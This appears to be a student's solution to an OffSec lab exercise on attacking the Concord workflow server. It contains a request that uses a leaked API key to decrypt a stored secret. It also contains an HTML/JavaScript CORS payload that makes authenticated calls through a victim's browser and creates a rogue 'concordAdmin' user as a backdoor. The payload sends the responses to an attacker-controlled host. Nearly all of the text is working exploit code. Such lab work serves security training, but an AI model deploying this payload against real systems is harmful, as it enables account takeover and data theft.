12.3
Since the Authorization header is allowed in the CORS requests, we would be able to send authenticated requests through a user’s browser if we don’t have network access to the application. Return to the old version of Concord and create a CORS payload using the Authorization header and the credentials we’ve discovered. This payload should create a new Admin user, generate a new API key as a back door, and obtain a shell.
POST /api/v1/process HTTP/1.1
Host: 192.168.148.132:8001
User-Agent: curl/7.79.1
Accept: */*
Authorization: O+JMYwBsU797EKtlRQYu+Q
Content-Length: 588
Content-Type: multipart/form-data; boundary=------------------------431ad33156e455b6
Connection: close
--------------------------431ad33156e455b6
Content-Disposition: form-data; name="org"
OffSec
--------------------------431ad33156e455b6
Content-Disposition: form-data; name="project"
AWAE
--------------------------431ad33156e455b6
Content-Disposition: form-data; name="concord.yml"; filename="concord.yml"
Content-Type: application/octet-stream
flows:
default:
- log: "Secret Key: ${name}"
configuration:
arguments:
name: ${crypto.decryptString("vyblrnt+hP8GNVOfSl9WXgGcQZceBhOmcyhQ0alyX6Rs5ozQbEvChU9K7FWSe7cf")}
--------------------------431ad33156e455b6--
Result: Secret Key: Džemujem ja stalno ali nemam džema
<html>
<head>
<script>
fetch("http://192.168.148.132:8001/api/service/console/whoami", {
headers: new Headers({
'Authorization': 'O+JMYwBsU797EKtlRQYu+Q',
}),
})
.then(async (response) => {
if(response.status != 401){ // if response is not 401, data is sent back
let data = await response.text();
fetch("http://192.168.119.148/?msg=" + data )
create_user();
}else{
fetch("http://192.168.119.148/?msg=UserNotLoggedIn" ) // otherwise return unauthenticated
}
})
function create_user() {
var payload = {
"username": "HackedUser",
"type": "LOCAL",
"roles": ["concordAdmin"]
};
fetch("http://192.168.148.132:8001/api/v1/user", {
method: "POST",
headers: new Headers({
'Authorization': 'O+JMYwBsU797EKtlRQYu+Q',
'Content-Type': 'application/json',
}),
body: JSON.stringify(payload),
})
.then(async (response) => {
if (response.status != 401) {
let responseData = await response.text();
fetch("http://192.168.119.148/?msg=" + responseData )
} else if (response.status == 403) {
fetch("http://192.168.119.148/?msg=OnlyAdminsCanDoThat")
} else {
fetch("http://192.168.119.148/?msg=UserNotLoggedIn" ) // otherwise return unauthenticated
}
})
}
</script>
</head>
<body>
</body>
</html>
